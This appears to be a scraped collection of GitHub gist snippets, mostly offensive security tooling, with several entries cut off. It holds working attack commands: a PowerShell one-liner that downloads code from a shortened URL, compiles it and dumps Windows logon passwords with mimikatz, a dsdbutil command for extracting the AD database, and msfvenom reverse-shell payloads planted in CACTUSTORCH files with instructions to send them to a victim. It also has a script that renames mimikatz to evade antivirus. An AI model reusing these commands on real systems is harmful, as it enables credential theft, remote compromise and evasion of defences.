nstarke

Netgear Signed TLS Cert Private Key Disclosure

Overview

There are at least two valid, signed TLS certificates that are bundled with publicly available Netgear device firmware.

These certificates are trusted by browsers on all platforms, but will surely be added to revocation lists shortly.

The firmware images that contained these certificates along with their private keys were publicly available for download through Netgear's support website, without authentication; thus anyone in the world could have retrieved these keys.

med0x2e

 1. Download the latest release of mimikatz: https://github.com/gentilkiwi/mimikatz/releases 
 
 2. Get Mimikatz PE Loader from https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a
 
 3. use @pljoel katz.cs cs file and uncomment the building lines available on Delivery.Program.Main() & comment Exec() line of code.
 
 4. Build it to generate file.b64, copy its content and replace Package.file string available on payload.txt file.
 
 6. Make sure payloadPath var is properly set on "TestAssemblyLoader.cs"
 

bohops

DSDButil
========

- dsdbutil (dsdbutil.exe) is utility for performing maintenance on AD/LDS databases [https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753151(v%3Dws.11)]
- dsdbutil supports VSS snapshot creation
- dsdbutil can be used to extract the AD database (ntds.dit) for offline analysis (with secretsdump.py)

- Example #1: Using Snapshot GUID obtained from cmd output

dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"

shawarkhanethicalhacker

//Exploit Code by Shawar Khan

var data_chunks = '';
// Capturing Records from API
fetch('https://redacted.com/api/v3/records/all').then((resp) => resp.text()).then(function(data) {
    
    // Holds the records in as String
    var allrecords = data; 
    
    // converting response to JSON

xillwillx

powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('https://is.gd/Dopn98','katz.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe /reference:System.IO.Compression.dll /out:katz.exe katz.cs && InstallUtil.exe /logfile= /LogToConsole=false /U katz.exe && katz.exe log privilege::debug sekurlsa::logonpasswords exit && del katz.*

xillwillx

git clone https://github.com/mdsecactivebreach/CACTUSTORCH.git && cd CACTUSTORCH
IP=`ip -4 addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'`
msfvenom -p windows/meterpreter/reverse_https LHOST=$IP LPORT=443 -f raw -o payload.bin
PAYLOAD=$(cat payload.bin | base64 -w 0)
sed -i -e 's|var code = ".*|var code = "'$PAYLOAD'";|' CACTUSTORCH.js
sed -i -e 's|Dim code : code = ".*|Dim code : code = "'$PAYLOAD'"|g' CACTUSTORCH.vbs
sed -i -e 's|Dim code : code = ".*|Dim code : code = "'$PAYLOAD'"|g' CACTUSTORCH.hta
cp -t /var/www/html/ CACTUSTORCH.vbs CACTUSTORCH.js CACTUSTORCH.hta
service apache2 start
echo -e "\n\n\n\nOpen Microsoft Word and press CTRL+F9 and copy any of the payloads below in between the { } then save and send to victim.\n\nJS PAYLOAD:\n\

rain-1

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

• Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
• Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
• Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
• Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
• Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

c5e3

#!/bin/bash

cat $1 | grep '^IRA:' > $1_positions.csv
sed -i -e 's/^.\+sat:/sat:/' -e 's/\( RAI\:.\+\)\|\(sat:\)\|\(beam:\)\|\(pos=(\)\|\()\)\|\(alt=\)\|\(+\)//g' -e 's%/%;%' -e 's/ /;/g' -e '/^00;00/d' -e 's/$/000/g' -e '/[0-9]\+;[0-9]\+;\([0-9]\+\|-[0-9]\+\).[0-9]\+;\([0-9]\+\|-[0-9]\+\).[0-9]\+;[0-9]\+/!d' $1_positions.csv
awk -F ';' '($5<=100000){print}' $1_positions.csv > $1_positions_spotbeams.csv
awk -F ';' '($5>100000){print}' $1_positions.csv > $1_positions_satellites.csv
sed -i '1 i\satellite;beam;latitude;longitude;altitude' $1_positions*.csv

imaibou

# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "[email protected]" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/windows
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

binkybear

#!/bin/bash
#
# Attack created by Mubix.  For more information see: 
# https://room362.com/post/2016/snagging-creds-from-locked-machines
# Modified for Nethunter by Binkybear
#

# ================== #
# Check for root
# ================== #